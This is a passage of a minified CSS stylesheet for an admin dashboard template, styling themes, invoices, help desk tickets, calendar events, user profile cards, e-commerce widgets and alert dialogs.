body.theme-5 .conversations-list .list-group-item.active, body.theme-5 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .team-lists img { border-color: #B9406B; } body.theme-6 .conversations-list .list-group-item .btn-link { color: #008ECC; } body.theme-6 .conversations-list .list-group-item.active, body.theme-6 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .team-lists img { border-color: #008ECC; } body.theme-7 .conversations-list .list-group-item .btn-link { color: #922C88; } body.theme-7 .conversations-list .list-group-item.active, body.theme-7 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .team-lists img { border-color: #922C88; } body.theme-8 .conversations-list .list-group-item .btn-link { color: #C0A145; } body.theme-8 .conversations-list .list-group-item.active, body.theme-8 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .team-lists img { border-color: #C0A145; } body.theme-9 .conversations-list .list-group-item .btn-link { color: #48494B; } body.theme-9 .conversations-list .list-group-item.active, body.theme-9 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .team-lists img { border-color: #48494B; } body.theme-10 .conversations-list .list-group-item .btn-link { color: #0C7785; } body.theme-10 .conversations-list .list-group-item.active, body.theme-10 .conversations-list .list-group-item:hover { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .team-lists img { border-color: #0C7785; } /* ===================== Invoice page start ===================================== */ .invoice-contact { display: flex; margin-bottom: 30px; padding-top: 30px; align-items: center; } @media screen and (max-width: 767px) { .invoice-contact { margin-bottom: 0; } } .invoice-table.table td { border: 0; padding: 4px 0; } .invoive-info { display: flex; margin-bottom: 30px; } .invoive-info h6, .invoive-info .h6 { margin-bottom: 20px; text-transform: uppercase; } .invoive-info .invoice-order.table { padding-left: 0; } .invoive-info .invoice-order.table th { border: 0; padding: 4px 0; } .invoive-info .invoice-order.table th:first-child { padding-left: 0; width: 80px; } .invoice-total { background: #f3f3f3; border-radius: 6px; padding: 14px 0; margin-bottom: 20px; } .invoice-total .table { margin-bottom: 0; } .invoice-total .table th { border: 0; padding: 4px 0; text-align: right; } .invoice-total .table td { text-align: right; } .invoice-total .table tbody { padding-right: 65px; float: right; } .invoice-summary .label { border-radius: 5px; padding: 3px 10px; font-size: 12px; } .invoice-list .btn { padding: 5px 10px; font-size: 12px; } .invoice-list .task-list-table { display: inline-block; } .vr-info-wrapper { background-size: cover; } .vr-info-wrapper .vr-info-container { width: 70%; margin: 0 auto; } .vr-info-wrapper .card { background: rgba(255, 255, 255, 0.5); } /* ===================== Invoice page end ======================================= */ @media screen and (max-width: 768px) { .fc .fc-toolbar { flex-direction: column; } .fc .fc-toolbar .fc-toolbar-chunk.fc-toolbar-chunk { margin-top: 8px; } } /** ===================== Help Desk Application css start ========================== **/ .hd-body .excerpt { padding: 15px; background: #f8f9fd; border: 1px solid #f1f1f1; } .hd-body .ticket-customer, .hd-body .ticket-type-icon { display: block; text-transform: capitalize; } .hd-body:hover .hover-blk { transform: scale(1); } .sm-view .card-body .excerpt, .sm-view .card-body ul.list-inline { display: none; } .md-view .excerpt { display: none; } .md-view .col-auto ul li:nth-child(1), .md-view .col-auto ul li:nth-child(3), .sm-view .col-auto ul li:nth-child(1), .sm-view .col-auto ul li:nth-child(3) { display: none; } .hover-blk { background: #fff; width: 270px; left: calc(100% + 10px); transform: scale(0); z-index: 5; transition: all 0.1s ease-out; } .hover-blk .img-txt p { display: inline-block; } .topic-name h1, .topic-name .h1 { float: left; font-weight: normal; } .topic-name .btn-star { float: right; } .dicon-blk { top: 0; right: 0; } .dicon-blk li { display: inline-block; } .hd-detail .col-right .edit-del { opacity: 0; } .hd-detail .col-right .edit-del i { opacity: 0.2; } .hd-detail .col-right .edit-del i:hover { opacity: 1; } .hd-detail:hover .edit-del { opacity: 1; } .hdd-user i { bottom: 0; } .ticket-block .hd-body { border-left: 3px solid #ccc; } .ticket-block .col.border-right { border-color: #ccc !important; } .ticket-block .ticket-type-icon { font-weight: 500; color: #111; } .ticket-block .excerpt h6, .ticket-block .excerpt .h6 { color: #686c71; font-weight: 500; } .ticket-block .excerpt h6 a, .ticket-block .excerpt .h6 a { color: #686c71; } .ticket-block .excerpt h6 a:hover, .ticket-block .excerpt .h6 a:hover { text-decoration: underline !important; color: #111; } .ticket-block.open-tic .hd-body { border-color: #ea394a; } .ticket-block.close-tic .hd-body { border-color: #5AC17F; } .right-col .card-footer label { font-weight: 500; } .hdd-right-inner .select2-container--default { margin-bottom: 10px; } .hdd-right-inner .select2-container--default .select2-selection { border-color: #f1f1f1; } .hdd-right-side { width: 495px; } .hdd-right-side .hdd-right-inner { position: fixed; width: 465px; } .span-content a { padding: 0 7px; } .file-btn { position: relative; overflow: hidden; } .file-btn input { position: absolute; font-size: 50px; opacity: 0; right: 0; top: 0; } @media (max-width: 992px) { .hd-detail .col-right .edit-del { opacity: 1; } } @media only screen and (max-width: 767px) { .hdd-right-side { width: 100%; } .hdd-right-side .hdd-right-inner { position: static; width: 100%; } } @media (max-width: 575px) { .q-view .content { width: 450px; } } @media (max-width: 380px) { .q-view .content { width: 300px; } } #qviewModal.fade .q-view-modal.modal-dialog { transform: translateX(550px); } #qviewModal.show { padding-right: 0 !important; } #qviewModal.show .q-view-modal.modal-dialog { transform: none; } .q-view-modal { margin: 0; } .q-view-modal .modal-content { height: 100vh; border-radius: 0; border: none; } .q-view-modal .modal-content .modal-body { flex: 1 1 100%; } .q-view-modal .modal-content .modal-body .trumbowyg-box, .q-view-modal .modal-content .modal-body .trumbowyg-editor { min-height: 110px; } @media (min-width: 576px) { .q-view-modal.modal-dialog { max-width: 550px; margin: 0 0 0 auto; } } .ticket-card.open-ticket { border-left: 3px solid #ff3a6e; } .ticket-card.close-ticket { border-left: 3px solid #6fd943; } .help-main.sm-view .help-md-hidden, .help-main.sm-view .help-sm-hidden { display: none; } .help-main.md-view .help-md-hidden { display: none; } .popup-trigger { cursor: pointer; } /**====== Help Desk Application css start ======**/ .fc-view { margin-top: 30px; } .none-border .modal-footer { border-top: none; } .fc-toolbar { margin: 15px 0 5px; } .fc-toolbar h2, .fc-toolbar .h2 { font-size: 1.25rem; line-height: 1.875rem; text-transform: uppercase; } .fc-day-grid-event .fc-time { font-weight: 700; } .fc-day { background: transparent; } .fc-toolbar .fc-state-active, .fc-toolbar .ui-state-active, .fc-toolbar .ui-state-hover, .fc-toolbar button:focus, .fc-toolbar button:hover { z-index: 0; } .fc th.fc-widget-header { background: #51459d; color: #fff; border-color: #51459d; font-size: 13px; line-height: 20px; padding: 10px 0; text-transform: uppercase; } .fc-unthemed .fc-divider, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed th, .fc-unthemed thead { border-color: #fefefe; } .fc-button, .fc-today-button { background: #fefefe; border: none; color: #343a40; text-shadow: none; text-transform: capitalize; box-shadow: none; border-radius: 3px; margin: 0.375rem 0.75rem; padding: 0.375rem 0.75rem !important; height: auto !important; } .fc-text-arrow { font-family: inherit; font-size: 1rem; } .fc-state-hover { background: #e9ecef; } .fc-state-highlight { background: #dee2e6; } .fc-state-active, .fc-state-disabled, .fc-state-down { background-color: #51459d; color: #ffffff; text-shadow: none; } .fc-cell-overlay { background: #dee2e6; } .fc-unthemed td.fc-today { background: #f8f9fa; } .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading td, .fc-unthemed .fc-popover .fc-header { background: #f8f9fa; } .fc-event, .fc-event:not([href]) { color: #fff; border-color: #51459d; border-left-width: 4px; padding: 5px 10px; border-radius: 2px; margin-bottom: 5px; cursor: move; } .fc-event:not([class*="bg-"]), .fc-event:not([href]):not([class*="bg-"]) { background-color: #51459d; } .external-event { cursor: move; margin: 10px 0; padding: 8px 10px; color: #ffffff; } .fc-basic-view td.fc-week-number span { padding-right: 8px; } .fc-basic-view td.fc-day-number { padding-right: 8px; } .fc-basic-view .fc-content { color: #ffffff; } .fc-time-grid-event .fc-content { color: #ffffff; } .fc .fc-button-group > *, .fc-today-button { margin-bottom: 4px; margin-left: 10px; border-radius: 2px; font-size: 1rem; } .fc-ltr .fc-basic-view .fc-day-top .fc-day-number { float: right; height: 20px; width: 20px; text-align: center; line-height: 20px; background-color: #fefefe; border-radius: 2px; margin: 5px; font-size: 12px; border: 1px solid #f9f9f9; } .fc-scroller { overflow: visible !important; height: auto !important; } @media (max-width: 575.98px) { .fc-toolbar .fc-center, .fc-toolbar .fc-left, .fc-toolbar .fc-right { float: none; display: block; clear: both; margin: 10px 0; } .fc .fc-toolbar > * > * { float: none; } .fc-today-button { display: none; } } .fc-popover { background: #ffffff; } .fc-h-event .fc-event-main { color: inherit; color: var(--fc-event-text-color, inherit); } .fc .fc-timegrid-slot { height: 2.5em; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame { flex-direction: row; align-items: center; } .fc-timeGridDay-view .fc-v-event .fc-event-main-frame > div + div { margin-left: 10px; } .fc-event, .fc-event:not([href]) { border-width: 1px 1px 1px 5px; border-style: solid; border-radius: 3px; } .fc-event.event-primary, .fc-event:not([href]).event-primary { background: #dcdaeb; border-color: #51459d; color: #51459d; } .fc-event.event-primary.fc-v-event .fc-event-main, .fc-event:not([href]).event-primary.fc-v-event .fc-event-main { color: #51459d; } .fc-event.event-primary .fc-daygrid-event-dot, .fc-event:not([href]).event-primary .fc-daygrid-event-dot { border-color: #51459d; } .fc-event.event-secondary, .fc-event:not([href]).event-secondary { background: #e2e3e5; border-color: #6c757d; color: #6c757d; } .fc-event.event-secondary.fc-v-event .fc-event-main, .fc-event:not([href]).event-secondary.fc-v-event .fc-event-main { color: #6c757d; } .fc-event.event-secondary .fc-daygrid-event-dot, .fc-event:not([href]).event-secondary .fc-daygrid-event-dot { border-color: #6c757d; } .fc-event.event-success, .fc-event:not([href]).event-success { background: #e2f7d9; border-color: #6fd943; color: #6fd943; } .fc-event.event-success.fc-v-event .fc-event-main, .fc-event:not([href]).event-success.fc-v-event .fc-event-main { color: #6fd943; } .fc-event.event-success .fc-daygrid-event-dot, .fc-event:not([href]).event-success .fc-daygrid-event-dot { border-color: #6fd943; } .fc-event.event-info, .fc-event:not([href]).event-info { background: #d8f4f7; border-color: #3ec9d6; color: #3ec9d6; } .fc-event.event-info.fc-v-event .fc-event-main, .fc-event:not([href]).event-info.fc-v-event .fc-event-main { color: #3ec9d6; } .fc-event.event-info .fc-daygrid-event-dot, .fc-event:not([href]).event-info .fc-daygrid-event-dot { border-color: #3ec9d6; } .fc-event.event-warning, .fc-event:not([href]).event-warning { background: #ffecd2; border-color: #ffa21d; color: #ffa21d; } .fc-event.event-warning.fc-v-event .fc-event-main, .fc-event:not([href]).event-warning.fc-v-event .fc-event-main { color: #ffa21d; } .fc-event.event-warning .fc-daygrid-event-dot, .fc-event:not([href]).event-warning .fc-daygrid-event-dot { border-color: #ffa21d; } .fc-event.event-danger, .fc-event:not([href]).event-danger { background: #ffd8e2; border-color: #ff3a6e; color: #ff3a6e; } .fc-event.event-danger.fc-v-event .fc-event-main, .fc-event:not([href]).event-danger.fc-v-event .fc-event-main { color: #ff3a6e; } .fc-event.event-danger .fc-daygrid-event-dot, .fc-event:not([href]).event-danger .fc-daygrid-event-dot { border-color: #ff3a6e; } .fc-event.event-light, .fc-event:not([href]).event-light { background: #fefefe; border-color: #f8f9fa; color: #f8f9fa; } .fc-event.event-light.fc-v-event .fc-event-main, .fc-event:not([href]).event-light.fc-v-event .fc-event-main { color: #f8f9fa; } .fc-event.event-light .fc-daygrid-event-dot, .fc-event:not([href]).event-light .fc-daygrid-event-dot { border-color: #f8f9fa; } .fc-event.event-dark, .fc-event:not([href]).event-dark { background: #d2d3d5; border-color: #1c232f; color: #1c232f; } .fc-event.event-dark.fc-v-event .fc-event-main, .fc-event:not([href]).event-dark.fc-v-event .fc-event-main { color: #1c232f; } .fc-event.event-dark .fc-daygrid-event-dot, .fc-event:not([href]).event-dark .fc-daygrid-event-dot { border-color: #1c232f; } /** ===================== Icon layouts css start ========================== **/ .i-main .i-block { display: inline-flex; align-items: center; justify-content: center; width: 70px; height: 70px; margin: 5px; border: 1px solid #f1f1f1; position: relative; cursor: pointer; } .i-main .i-block i { font-size: 30px; } .i-main .i-block label { margin-bottom: 0; display: none; } .i-main .i-block span.ic-badge { position: absolute; bottom: 0; right: 0; } /**====== Icon layouts css end ======**/ /** ===================== user card css start ========================== **/ .user-card .dropdown-toggle { cursor: pointer; } .user-card .cover-img-block { position: relative; } .user-card .cover-img-block > img { width: 100%; } .user-card .cover-img-block .change-cover { position: absolute; top: 30px; left: 30px; z-index: 5; opacity: 0; transition: all 0.3s ease-in-out; } .user-card .cover-img-block .change-cover .dropdown-toggle { color: #fff; background: rgba(0, 0, 0, 0.6); width: 45px; height: 45px; border-radius: 50%; font-size: 20px; display: flex; align-items: center; justify-content: center; } .user-card .cover-img-block .change-cover .dropdown-toggle:after { display: none; } .user-card .cover-img-block .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .cover-img-block:hover .change-cover, .user-card .cover-img-block:hover .overlay { opacity: 1; } .user-card .user-about-block { margin-top: -20px; z-index: 1; position: relative; } .user-card .user-about-block img { box-shadow: 0 0 0 5px #fff; } .user-card .user-about-block .certificated-badge { position: absolute; bottom: -5px; right: -5px; border-radius: 50%; width: 30px; height: 30px; background: #fff; padding: 5px 3px; } .user-card .user-about-block .certificated-badge .bg-icon { font-size: 22px; } .user-card .user-about-block .certificated-badge .front-icon { font-size: 11px; position: absolute; top: 11px; left: 9px; } .user-card .hover-data { position: absolute; z-index: 3; top: 0; left: 0; width: 100%; height: 100%; background: rgba(36, 46, 62, 0.92); text-align: center; display: flex; align-items: center; justify-content: center; transform: scale(0); transition: all 0.3s ease-in-out; } .user-card:hover .hover-data { transform: scale(1); } .user-card .change-profile .dropdown-toggle::after { display: none; } .user-card .change-profile .profile-dp { position: relative; overflow: hidden; padding: 5px; width: 110px; height: 110px; border-radius: 50%; } .user-card .change-profile .profile-dp .overlay { position: absolute; top: 5px; left: 5px; width: calc(100% - 10px); height: calc(100% - 10px); border-radius: 50%; opacity: 0; z-index: 1; overflow: hidden; background: rgba(0, 0, 0, 0.4); transition: all 0.3s ease-in-out; } .user-card .change-profile .profile-dp .overlay span { background: rgba(0, 0, 0, 0.5); color: #fff; position: absolute; bottom: 0; width: 100%; text-align: center; border-top: 1px solid rgba(255, 255, 255, 0.4); padding: 0 0 5px; } .user-card .change-profile .profile-dp:hover .overlay { opacity: 1; } @media only screen and (max-width: 992px) { .user-card .user-about-block { margin-top: -10px; } .user-card .wid-80 { width: 60px; } .user-card .change-profile .profile-dp { width: 90px; height: 90px; } .user-card.user-card-2.shape-right .cover-img-block { -webkit-clip-path: none; clip-path: none; } .user-card .cover-img-block .change-cover .dropdown-toggle { padding: 5px 7px; } } .tab-content .btn.btn-sm.float-end i, .tab-content .btn-group-sm > .btn.float-end i { font-size: 14px; } .user-card-2 .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 100%, 0% 80%); } .user-card-2.shape-right .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 0% 100%); } .user-card-2.shape-center .cover-img-block { -webkit-clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); clip-path: polygon(0 0, 100% 0%, 100% 80%, 50% 100%, 0% 80%); } .user-card-3 .certificated-badge { position: absolute; bottom: 5px; right: 5px; border-radius: 50%; width: 40px; height: 40px; background: #fff; padding: 5px 3px; } .user-card-3 .certificated-badge .bg-icon { font-size: 30px; } .user-card-3 .certificated-badge .front-icon { font-size: 14px; position: absolute; top: 14px; left: 13px; } .user-card-3 .social-top-link { position: absolute; top: 20px; left: 20px; } .user-card-3.social-hover .social-top-link { top: 20px; left: 20px; overflow: hidden; } .user-card-3.social-hover .social-top-link .btn, .user-card-3.social-hover .social-top-link li { margin-left: -100px; transition: all 0.2s ease-in-out; } .user-card-3.social-hover .social-top-link .btn:nth-child(1), .user-card-3.social-hover .social-top-link li:nth-child(1) { transition-delay: 0.05s; } .user-card-3.social-hover .social-top-link .btn:nth-child(2), .user-card-3.social-hover .social-top-link li:nth-child(2) { transition-delay: 0.1s; } .user-card-3.social-hover .social-top-link .btn:nth-child(3), .user-card-3.social-hover .social-top-link li:nth-child(3) { transition-delay: 0.15s; } .user-card-3.social-hover .social-top-link .btn:nth-child(4), .user-card-3.social-hover .social-top-link li:nth-child(4) { transition-delay: 0.2s; } .user-card-3.social-hover .social-top-link .btn:nth-child(5), .user-card-3.social-hover .social-top-link li:nth-child(5) { transition-delay: 0.25s; } .user-card-3.social-hover .social-top-link .btn:nth-child(6), .user-card-3.social-hover .social-top-link li:nth-child(6) { transition-delay: 0.3s; } .user-card-3.social-hover .social-top-link .btn:nth-child(7), .user-card-3.social-hover .social-top-link li:nth-child(7) { transition-delay: 0.35s; } .user-card-3.social-hover .social-top-link .btn:nth-child(8), .user-card-3.social-hover .social-top-link li:nth-child(8) { transition-delay: 0.4s; } .user-card-3.social-hover .social-top-link .btn:nth-child(9), .user-card-3.social-hover .social-top-link li:nth-child(9) { transition-delay: 0.45s; } .user-card-3.social-hover .social-top-link .btn:nth-child(10), .user-card-3.social-hover .social-top-link li:nth-child(10) { transition-delay: 0.5s; } .user-card-3.social-hover:hover .social-top-link .btn, .user-card-3.social-hover:hover .social-top-link li { margin-left: 0; } .user-profile { margin-top: -45px; margin-left: -30px; margin-right: -30px; background: #fff; } .user-profile .card-body { position: relative; z-index: 1; box-shadow: 0 2px 4px -2px rgba(54, 80, 138, 0.3); } .user-profile .card-body .overlay > span { cursor: pointer; } .user-profile .cover-img-block:hover > img { filter: grayscale(1) blur(1px); } .user-profile .profile-dp .overlay { text-align: left; } .user-profile .user-about-block .certificated-badge { bottom: 8px; right: 0; z-index: 2; } .user-profile .profile-tabs { border-bottom: 0; margin-top: 30px; } .user-profile .profile-tabs .nav-item { margin-bottom: -0px; } .user-profile .profile-tabs .nav-item .nav-link { position: relative; } .user-profile .profile-tabs .nav-item .nav-link:after { content: ""; background: #51459d; position: absolute; transition: all 0.3s ease-in-out; left: 50%; right: 50%; bottom: -1px; height: 2px; border-radius: 2px 2px 0 0; } .user-profile .profile-tabs .nav-link:hover { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link, .user-profile .profile-tabs .nav-link.active { border-color: transparent; } .user-profile .profile-tabs .nav-item.show .nav-link:after, .user-profile .profile-tabs .nav-link.active:after { left: 0; right: 0; } @media only screen and (max-width: 575px) { .user-profile { margin-top: -30px; margin-left: -15px; margin-right: -15px; } } .user-profile-list { background: transparent; box-shadow: none; } .user-profile-list table { border-spacing: 0 10px; border-collapse: separate; width: calc(100% - 10px); margin: 0 5px; } .user-profile-list table tbody tr { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); border-radius: 10px; position: relative; } .user-profile-list table tbody tr .overlay-edit { position: absolute; opacity: 0; top: 0; right: 0; background: #51459d; bottom: 0; left: 0; display: flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr .overlay-edit .btn { margin: 0 3px; width: 35px; height: 35px; display: inline-flex; align-items: center; justify-content: center; } .user-profile-list table tbody tr:hover { box-shadow: 0 0 6px 0 #51459d; } .user-profile-list table tbody tr:hover td { cursor: pointer; color: #fff; background: #51459d; } .user-profile-list table tbody tr:hover td h6, .user-profile-list table tbody tr:hover td .h6 { color: #fff; } .user-profile-list table tbody tr:hover td .overlay-edit { opacity: 1; } .user-profile-list table tr td, .user-profile-list table tr th { vertical-align: middle; border: none; } .user-profile-list table tr td { background: #fff; position: relative; } .user-profile-list table tr td:first-child { border-top-left-radius: 10px; border-bottom-left-radius: 10px; } .user-profile-list table tr td:last-child { border-top-right-radius: 10px; border-bottom-right-radius: 10px; } .list-pills.nav-pills .nav-link.active, .list-pills.nav-pills .show > .nav-link { color: #51459d; border-color: #f1f1f1; background: #f8f9fa; } .list-pills.nav-pills .nav-link.active .h5, .list-pills.nav-pills .nav-link.active .h6, .list-pills.nav-pills .show > .nav-link .h5, .list-pills.nav-pills .show > .nav-link .h6 { color: #51459d; } .widget-profile-card-1 { position: relative; margin-bottom: 50px; } .widget-profile-card-1 .middle-user { position: absolute; left: 0; right: 0; width: 100%; margin: 0 auto; text-align: center; bottom: -60px; } .widget-profile-card-1 .middle-user img { width: 115px; border-radius: 50%; } .widget-profile-card-1 ~ .card-footer [class*=col-] { border-right: 1px solid #fff; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { border: none; } @media only screen and (max-width: 767px) { .widget-profile-card-1 ~ .card-footer [class*=col-]:nth-child(2) { border: 0; } .widget-profile-card-1 ~ .card-footer [class*=col-]:last-child { margin-top: 10px; } } .widget-profile-card-2 img.user-img { width: 115px; } .widget-profile-card-2 a { color: #fff; transition: all ease-in 0.3s; } .widget-profile-card-2 a:hover { opacity: 0.7; } .widget-profile-card-3 { background-image: url("../images/widget/slider5.jpg"); background-size: cover; padding: 50px 0; text-align: center; } .widget-profile-card-3 img { width: 120px; border-radius: 50%; } .social-res-card .progress { height: 6px; } .profile-card { position: relative; min-height: 410px; overflow: hidden; } .profile-card img { width: 100%; position: absolute; top: 0; left: 0; } .profile-card .card-body { text-align: center; color: #fff; position: absolute; bottom: 0; text-align: center; width: 100%; background: linear-gradient(transparent, rgba(0, 0, 0, 0.72)); } .profile-card .card-body h3, .profile-card .card-body .h3 { font-weight: 600; } .profile-card ~ .card-footer [class*="col-"] { padding: 10px; border-right: 1px solid rgba(255, 255, 255, 0.57); } .profile-card ~ .card-footer [class*="col-"] h4, .profile-card ~ .card-footer [class*="col-"] .h4 { font-size: 18px; font-weight: 600; } .profile-card ~ .card-footer [class*="col-"]:last-child { border: none; } .profile-card ~ .card-footer [class*="col-"] span { text-transform: uppercase; } @media only screen and (max-width: 767px) { .profile-card ~ .card-footer [class*="col-"]:nth-child(2) { border: none; } } .blur-user-card { color: #fff; text-align: center; padding-top: 45px; background-image: url("../images/widget/blur-bg.png"); background-size: cover; } .blur-user-card h3, .blur-user-card .h3 { margin-top: 10px; font-size: 30px; font-weight: 600; } .blur-user-card p { font-size: 18px; font-weight: 300; } .blur-user-card .blur-footer [class*="col-"] { padding: 1em; border-right: 1px solid #fff; margin-top: 30px; margin-bottom: 30px; } .blur-user-card .blur-footer [class*="col-"]:last-child { border-right: none; } @media only screen and (max-width: 767px) { .blur-user-card .blur-footer [class*="col-"]:nth-child(2) { border: 0; } .blur-user-card .blur-footer [class*="col-"]:last-child { margin-top: 0; padding-top: 0; } } .skill-mlt-select + .select2-container { display: block; } /**====== user card css end ======**/ /** ===================== e-commerce css start ========================== **/ .prod-likes { position: relative; padding: 0; } .prod-likes .prod-likes-icon { stroke: rgba(41, 50, 64, 0.5); fill: rgba(41, 50, 64, 0.2); z-index: 3; } .prod-likes .form-check-input { width: 20px; height: 20px; margin: 0; position: absolute; top: 0; left: 0; opacity: 0; z-index: 5; cursor: pointer; } .prod-likes .form-check-input:checked + .prod-likes-icon { stroke: #ff3a6e; fill: rgba(255, 58, 110, 0.8); animation: _26Tc6u 0.2s ease 0.3s forwards; } .product-sticky { top: calc(70px + 60px); } #checkoutaddress .form-check .h-nonchecked { display: none; } #checkoutaddress .form-check .form-check-input:checked + .form-check-label .h-nonchecked { display: block; } .ecomm-desc-btn { margin-left: -25px; margin-right: -25px; } .e-comm-card { overflow: hidden; } .e-comm-card .prod-content { transition: all 0.2s ease-in-out; background: #ffffff; } .e-comm-card .prod-content .h-data { position: absolute; top: calc(100% - 5px); } .e-comm-card:hover .prod-content { transform: translateY(-70px); } .filter-data { position: relative; } .filter-data .overlay-div { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: rgba(255, 255, 255, 0.8); padding: 100px 0; text-align: center; } .dash-like { position: absolute; z-index: 1; top: -5px; left: 10px; } .dash-like .dash-dots:nth-child(4):before { transform: translate3d(-4px, -5px, 0); } .dash-like .dash-dots:nth-child(4):after { transform: translate3d(4px, -5px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(3):before { transform: translate3d(-5px, -4px, 0); } .dash-like .dash-dots:nth-child(3):after { transform: translate3d(-5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:nth-child(2):before { transform: translate3d(-4px, 5px, 0); } .dash-like .dash-dots:nth-child(2):after { transform: translate3d(4px, 5px, 0) scale(0.7); } .dash-like .dash-dots:first-child:before { transform: translate3d(5px, -4px, 0); } .dash-like .dash-dots:first-child:after { transform: translate3d(5px, 4px, 0) scale(0.7); } .dash-like .dash-dots:after { background: #ff3a6e; } .dash-like .dash-dots:before { background: #ffa21d; } .dash-like .like-wrapper { position: relative; display: inline-flex; } .dash-like .dash-group { position: absolute; top: 50%; left: 50%; opacity: 0; } .dash-like .dash-dots:after, .dash-like .dash-dots:before { content: ""; position: absolute; width: 5px; height: 5px; margin: -2px; border-radius: 50%; } .dash-like.dash-like-animate .dash-dots:first-child:after { animation: _3z13ic 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):before { animation: u9Mhrv 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(4):after { animation: _2ERa1V 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):before { animation: _3TtatR 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(3):after { animation: _3UC1np 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):before { animation: _33IoP_ 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:nth-child(2):after { animation: _2D5htx 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-group { animation: r9OBmc 0.6s ease 0.3s; } .dash-like.dash-like-animate .dash-dots:first-child:before { animation: _18Xo9B 0.6s ease 0.3s; } @keyframes _26Tc6u { 0% { transform: translateZ(0) scale(0); } 40% { transform: translateZ(0) scale(1.2); } to { transform: translateZ(0) scale(1); } } @keyframes _3d25CI { 0% { transform: translateZ(0) scale(0); opacity: 1; } to { transform: translateZ(0) scale(1); opacity: 0; } } @keyframes r9OBmc { 0% { opacity: 0; } 50% { opacity: 1; } to { opacity: 0; } } @keyframes _18Xo9B { to { transform: translate3d(22px, -4px, 0); } } @keyframes _3z13ic { to { transform: translate3d(14px, 4px, 0) scale(0.7); } } @keyframes _33IoP_ { to { transform: translate3d(-4px, 22px, 0); } } @keyframes _2D5htx { to { transform: translate3d(4px, 18px, 0) scale(0.7); } } @keyframes _3TtatR { to { transform: translate3d(-22px, -4px, 0); } } @keyframes _3UC1np { to { transform: translate3d(-18px, 4px, 0) scale(0.7); } } @keyframes u9Mhrv { to { transform: translate3d(-4px, -22px, 0); } } @keyframes _2ERa1V { to { transform: translate3d(4px, -18px, 0) scale(0.7); } } /**====== e-commerce css end ======**/ .swal-icon--error { border-color: #ff3a6e; } .swal-icon--error__line { background-color: #ff3a6e; } .swal-icon--warning { border-color: #ffa21d; } .swal-icon--warning__body { background-color: #ffa21d; } .swal-icon--warning__dot { background-color: #ffa21d; } @keyframes pulseWarning { 0% { border-color: #ffac37; } to { border-color: #ffa21d; } } .swal-icon--success { border-color: #6fd943; } .swal-icon--success__ring { border: 4px solid rgba(111, 217, 67, 0.2); } .swal-icon--success__line { background-color: #6fd943; } .swal-icon--info { border-color: #3ec9d6; } .swal-icon--info:after, .swal-icon--info:before { background-color: #3ec9d6; } .swal-title { color: rgba(0, 0, 0, 0.65); } .swal-text { color: rgba(0, 0, 0, 0.64); } .swal-button { background-color: #51459d; margin: 0 10px; } .swal-button:not([disabled]):hover { background-color: darkslateblue; } .swal-button:active { background-color: darkslateblue; } .swal-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.29); } .swal-button--cancel { color: #555; background-color: #efefef; margin: 0 10px; } .swal-button--cancel:not([disabled]):hover { background-color: #e8e8e8; } .swal-button--cancel:active { background-color: #d7d7d7; } .swal-button--cancel:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(116, 136, 150, 0.29); } .swal-button--danger { background-color: #ff3a6e; margin: 0 10px; } .swal-button--danger:not([disabled]):hover { background-color: #ff215b; } .swal-button--danger:active { background-color: #ff215b; } .swal-button--danger:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(255, 58, 110, 0.29); } .swal-footer { text-align: center; } .swal-content__input:focus { border-color: rgba(81, 69, 157, 0.29); } .swal-content__textarea:focus { border-color: rgba(81, 69, 157, 0.29); } .swal2-popup.swal2-toast .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4); } .swal2-popup.swal2-toast .swal2-success { border-color: #6fd943 !important; } .swal2-loader { border-color: #51459d transparent #51459d transparent !important; } .swal2-styled.swal2-confirm { background-color: #51459d !important; } .swal2-styled.swal2-deny { background-color: #ff3a6e !important; } .swal2-styled:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(81, 69, 157, 0.4) !important; } .swal2-close:hover { color: #ff3a6e !important; } .swal2-content { color: #545454; } .swal2-file, .swal2-input, .swal2-textarea { border: 1px solid #d9d9d9; } .swal2-file.swal2-inputerror, 